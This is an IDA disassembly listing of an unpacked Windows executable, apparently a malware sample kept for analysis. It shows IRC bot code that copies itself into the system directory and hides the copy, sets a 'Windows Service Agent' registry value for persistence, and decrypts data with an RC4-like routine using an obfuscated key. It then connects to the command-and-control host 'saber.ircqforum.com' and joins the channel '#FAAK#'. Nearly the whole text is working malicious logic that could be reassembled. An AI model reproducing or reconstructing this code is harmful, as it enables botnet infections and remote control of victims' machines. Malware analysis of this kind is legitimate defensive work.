;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	3E240BDDDF04E824A33160EFB74FB2B3

; File Name   :	u:\work\3e240bdddf04e824a33160efb74fb2b3_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000FC000 (1032192.)
; Section size in file		: 000FC000 (1032192.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401404+346p
					; sub_418EAE+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service Agent"

loc_401010:				; CODE XREF: sub_401000+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_43F054[esi]
		push	dword_43F050[esi]
		call	dword_4E303C	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_401051
		push	[ebp+arg_0]
		call	sub_41BC70
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_4E30AC	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------

loc_401051:				; CODE XREF: sub_401000+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_4E2FEC	; RegDeleteValueA

loc_40105B:				; CODE XREF: sub_401000+4Fj
		push	[ebp+var_4]
		call	dword_4E3064	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_401010
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401071	proc near		; CODE XREF: sub_4010AA+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_4010A3
		mov	ecx, 0FFh
		push	ebx

loc_401088:				; CODE XREF: sub_401071+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_43C020[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401088
		pop	ebx

loc_4010A3:				; CODE XREF: sub_401071+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_401071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AA	proc near		; CODE XREF: sub_416D68+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BE40
		mov	[esp+10h+var_10], offset dword_43F068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41E490
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_4010F5

loc_4010CF:				; CODE XREF: sub_4010AA+37j
		xor	eax, eax
		jmp	short loc_401116
; ---------------------------------------------------------------------------

loc_4010D3:				; CODE XREF: sub_4010AA+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_41C330
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010CF
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41E180
		add	esp, 10h

loc_4010F5:				; CODE XREF: sub_4010AA+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4010D3
		dec	ebx
		push	ebx
		push	esi
		call	sub_401071
		push	esi
		mov	ebx, eax
		call	sub_41C9D0
		push	edi
		call	sub_41BCF0
		add	esp, 10h
		mov	eax, ebx

loc_401116:				; CODE XREF: sub_4010AA+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	sub_41BC70
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h

loc_401224:				; CODE XREF: .packed:0040122Ej
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_401224
		cmp	[ebp+14h], ebx
		jz	short loc_401253
		xor	eax, eax

loc_401237:				; CODE XREF: .packed:0040124Fj
		cmp	edi, [ebp+14h]
		jnz	short loc_40123E
		xor	edi, edi

loc_40123E:				; CODE XREF: .packed:0040123Aj
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_401237
		jmp	short loc_40126D
; ---------------------------------------------------------------------------

loc_401253:				; CODE XREF: .packed:00401233j
		xor	esi, esi

loc_401255:				; CODE XREF: .packed:0040126Bj
		cmp	edi, [ebp-38h]
		jnz	short loc_40125C
		xor	edi, edi

loc_40125C:				; CODE XREF: .packed:00401258j
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_401255

loc_40126D:				; CODE XREF: .packed:00401251j
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh

loc_401277:				; CODE XREF: .packed:004012A7j
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		mov	dl, [esi]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		lea	ecx, [ebp+ecx-13Ch]
		mov	bl, [ecx]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_401277
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_4012FB

loc_4012B6:				; CODE XREF: .packed:004012F9j
		inc	edi
		and	edi, eax
		lea	ecx, [ebp+edi-13Ch]
		mov	dl, [ecx]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	[ebp+14h], esi
		lea	esi, [ebp+esi-13Ch]
		mov	bl, [esi]
		mov	[ecx], bl
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_4012B6

loc_4012FB:				; CODE XREF: .packed:004012B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401300	proc near		; DATA XREF: sub_401404+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_455FCC
		call	dword_4E3120	; closesocket
		call	sub_40B854
		call	dword_4E2FE0	; WSACleanup
		call	dword_4E2FE0	; WSACleanup
		mov	ebx, dword_4F534C
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41E4B0
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_45523C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4F5340	; CreateProcessA
		test	eax, eax
		jz	short loc_4013C5
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_4F533C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle

loc_4013C5:				; CODE XREF: sub_401300+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_455238
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_4F5338	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx

loc_4013E8:				; DATA XREF: .packed:0043F004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_419313
		pop	ecx
		mov	dword_4E2DC0, eax
		pop	ecx
		retn
sub_401300	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401404	proc near		; CODE XREF: sub_422100+121p

var_984		= byte ptr -984h
var_880		= byte ptr -880h
var_87F		= byte ptr -87Fh
var_6F0		= byte ptr -6F0h
var_5F0		= byte ptr -5F0h
var_4EC		= byte ptr -4ECh
var_3EC		= byte ptr -3ECh
var_2E8		= byte ptr -2E8h
var_1E4		= byte ptr -1E4h
var_E0		= dword	ptr -0E0h
var_D4		= dword	ptr -0D4h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 984h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_401300
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4F537C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4E2DC4, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		call	sub_409D10
		push	2
		call	dword_4E3134	; SetErrorMode
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	dword_4F5378	; CreateMutexA
		push	eax
		call	dword_4F5374	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_401484
		push	1
		call	dword_4F5338	; ExitProcess

loc_401484:				; CODE XREF: sub_401404+76j
		lea	eax, [ebp+var_880]
		push	eax
		push	202h
		call	dword_4E2FF8	; WSAStartup
		cmp	eax, ebx
		jnz	loc_40199C
		cmp	[ebp+var_880], 2
		jnz	loc_401996
		xor	eax, eax
		mov	al, [ebp+var_87F]
		cmp	al, 2
		jnz	loc_401996
		mov	esi, 104h
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		call	dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_2E8]
		push	esi
		push	eax
		push	ebx
		call	dword_4F5370	; GetModuleHandleA
		push	eax
		call	dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41ED30
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	offset dword_43FA4C
		lea	eax, [ebp+var_5F0]
		push	esi
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_3EC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	sub_41EBB0
		add	esp, 30h
		test	eax, eax
		jnz	loc_4016E7
		cmp	dword_43F090, ebx
		mov	esi, offset byte_43F10C
		jz	short loc_40157C
		push	esi
		xor	edi, edi
		call	sub_41BC70
		sub	eax, 4
		pop	ecx
		jz	short loc_40157C

loc_401559:				; CODE XREF: sub_401404+176j
		call	sub_41EB70
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_43F10C[edi], dl
		inc	edi
		call	sub_41BC70
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401559

loc_40157C:				; CODE XREF: sub_401404+145j
					; sub_401404+153j
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E4]
		push	offset dword_43FA54
		push	eax
		call	sub_41EA60
		add	esp, 10h
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_4F536C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4015BC
		lea	eax, [ebp+var_1E4]
		push	80h
		push	eax
		call	dword_4F5368	; SetFileAttributesA

loc_4015BC:				; CODE XREF: sub_401404+1A4j
		mov	esi, dword_4F5364
		xor	edi, edi
		jmp	short loc_4015E8
; ---------------------------------------------------------------------------

loc_4015C6:				; CODE XREF: sub_401404+1F7j
		call	dword_4F5360	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_4015FD
		cmp	eax, 20h
		jz	short loc_4015DA
		cmp	eax, 5
		jnz	short loc_4015FD

loc_4015DA:				; CODE XREF: sub_401404+1CFj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_4F534C	; Sleep

loc_4015E8:				; CODE XREF: sub_401404+1C0j
		lea	eax, [ebp+var_1E4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_4015C6

loc_4015FD:				; CODE XREF: sub_401404+1CAj
					; sub_401404+1D4j
		lea	eax, [ebp+var_1E4]
		push	eax
		call	sub_418D6A
		pop	ecx
		lea	eax, [ebp+var_1E4]
		push	7
		push	eax
		call	dword_4F5368	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	44h
		lea	eax, [ebp+var_E0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41E4B0
		mov	[ebp+var_E0], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_D4], offset byte_4E2F38
		mov	[ebp+var_B4], esi
		mov	[ebp+var_B0], bx
		call	dword_4F535C	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_4F5358	; OpenProcess
		lea	ecx, [ebp+var_2E8]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		lea	eax, [ebp+var_984]
		push	offset dword_43FA5C
		push	eax
		call	sub_41EA60
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_3EC]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_984]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_4F5340	; CreateProcessA
		test	eax, eax
		jz	short loc_4016E7
		push	0C8h
		call	dword_4F534C	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_4F533C
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_4E2FE0	; WSACleanup
		push	ebx
		call	dword_4F5338	; ExitProcess

loc_4016E7:				; CODE XREF: sub_401404+134j
					; sub_401404+2B9j
		cmp	dword_4F33C8, 2
		jle	short loc_401733
		mov	eax, dword_4F33CC
		push	dword ptr [eax+4]
		call	sub_41E710
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4F5374	; WaitForSingleObject
		push	esi
		call	dword_4F533C	; CloseHandle
		mov	eax, dword_4F33CC
		cmp	[eax+8], ebx
		jz	short loc_401733
		push	7D0h
		call	dword_4F534C	; Sleep
		mov	eax, dword_4F33CC
		push	dword ptr [eax+8]
		call	dword_4F5354	; DeleteFileA

loc_401733:				; CODE XREF: sub_401404+2EAj
					; sub_401404+314j
		cmp	dword_43F094, ebx
		jz	short loc_401750
		cmp	dword_4E3154, ebx
		jnz	short loc_401750
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_401000
		pop	ecx

loc_401750:				; CODE XREF: sub_401404+335j
					; sub_401404+33Dj
		lea	eax, [ebp+var_9C]
		push	offset dword_43FA68
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_9C]
		push	ebx
		push	eax
		call	sub_40B691
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_415A3C
		push	0B80h
		push	ebx
		push	offset dword_455240
		call	sub_41E4B0
		lea	eax, [ebp+var_9C]
		push	offset unk_43FA84
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_9C]
		push	1
		push	eax
		call	sub_40B691
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_4F5350
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41A689
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_455FD4[esi], eax
		jnz	short loc_4017F0
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset unk_43FAA8
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_4017F0:				; CODE XREF: sub_401404+3CFj
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_415A3C
		push	2
		call	sub_40B8D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401875
		lea	eax, [ebp+var_9C]
		push	offset dword_43FAE8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_9C]
		push	2
		push	eax
		call	sub_40B691
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410B14
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_455FD4[esi], eax
		jnz	short loc_401868
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_43FB14
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_401868:				; CODE XREF: sub_401404+447j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_401875:				; CODE XREF: sub_401404+403j
		call	sub_41EB70
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4E2DCC
		mov	dword_4E2F34, eax
		call	sub_41E510
		mov	eax, dword_43F070
		push	3Fh
		mov	edi, offset dword_4E2E4C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4E2F1C, eax
		call	sub_41E510
		push	3Fh
		mov	esi, offset dword_4E2E8C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41E510
		mov	dword_4E2F20, ebx

loc_4018C7:				; CODE XREF: sub_401404+53Ej
					; sub_401404+588j
		add	esp, 24h

loc_4018CA:				; CODE XREF: sub_401404+546j
		mov	[ebp+var_4], ebx

loc_4018CD:				; CODE XREF: sub_401404+4FFj
		push	offset dword_4E2DC8
		mov	dword_4E2F30, ebx
		call	sub_4019A5
		cmp	eax, 2
		jz	loc_401991
		cmp	dword_4E2F30, ebx
		jz	short loc_4018F1
		dec	[ebp+var_4]

loc_4018F1:				; CODE XREF: sub_401404+4E8j
		push	0BB8h
		call	dword_4F534C	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4018CD
		cmp	[ebp+var_C], ebx
		jz	short loc_401944
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4E2DCC
		call	sub_41E510
		mov	eax, dword_43F070
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4E2F1C, eax
		call	sub_41E510
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41E510
		mov	[ebp+var_C], ebx
		jmp	short loc_4018C7
; ---------------------------------------------------------------------------

loc_401944:				; CODE XREF: sub_401404+504j
		cmp	byte_43F0E8, bl
		jz	loc_4018CA
		push	7Fh
		push	offset byte_43F0E8
		push	offset dword_4E2DCC
		call	sub_41E510
		mov	eax, dword_43F074
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4E2F1C, eax
		call	sub_41E510
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41E510
		mov	[ebp+var_C], 1
		jmp	loc_4018C7
; ---------------------------------------------------------------------------

loc_401991:				; CODE XREF: sub_401404+4DCj
		call	sub_40B854

loc_401996:				; CODE XREF: sub_401404+A1j
					; sub_401404+B1j
		call	dword_4E2FE0	; WSACleanup

loc_40199C:				; CODE XREF: sub_401404+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401404	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019A5	proc near		; CODE XREF: sub_401404+4D4p
					; DATA XREF: sub_401C87+66EDo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_4019CA:				; CODE XREF: sub_4019A5+E6j
					; sub_4019A5+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4E3088	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AD91
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401B07
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41E4B0
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_43F0A4
		push	dword_43F0A0
		push	eax
		call	sub_40B38F
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_455FD8
		push	edi
		push	eax
		call	sub_41E510
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4E3108	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_455FCC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A90
		push	esi
		call	dword_4E3120	; closesocket
		call	sub_40ADBA
		push	7D0h

loc_401A85:				; CODE XREF: sub_4019A5+146j
		call	dword_4F534C	; Sleep
		jmp	loc_4019CA
; ---------------------------------------------------------------------------

loc_401A90:				; CODE XREF: sub_4019A5+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_43FB48
		call	sub_415AB0
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401B0B
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4E3120	; closesocket
		test	edi, edi
		jz	loc_4019CA
		cmp	edi, 1
		jnz	short loc_401AED
		push	0DBBA0h
		jmp	short loc_401A85
; ---------------------------------------------------------------------------

loc_401AED:				; CODE XREF: sub_4019A5+13Fj
		cmp	edi, 2
		jnz	loc_4019CA
		push	[ebp+var_34]
		call	sub_40B9A7
		pop	ecx
		push	edi
		pop	eax

loc_401B01:				; CODE XREF: sub_4019A5+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_401B07:				; CODE XREF: sub_4019A5+5Aj
		xor	eax, eax
		jmp	short loc_401B01
sub_4019A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B0B	proc near		; CODE XREF: sub_4019A5+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41EF80
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401B29:				; CODE XREF: sub_401B0B+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401B29
		cmp	byte_4E2F2C, bl
		jz	short loc_401B50
		push	offset byte_4E2F2C
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409C2F
		add	esp, 0Ch

loc_401B50:				; CODE XREF: sub_401B0B+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B38F
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
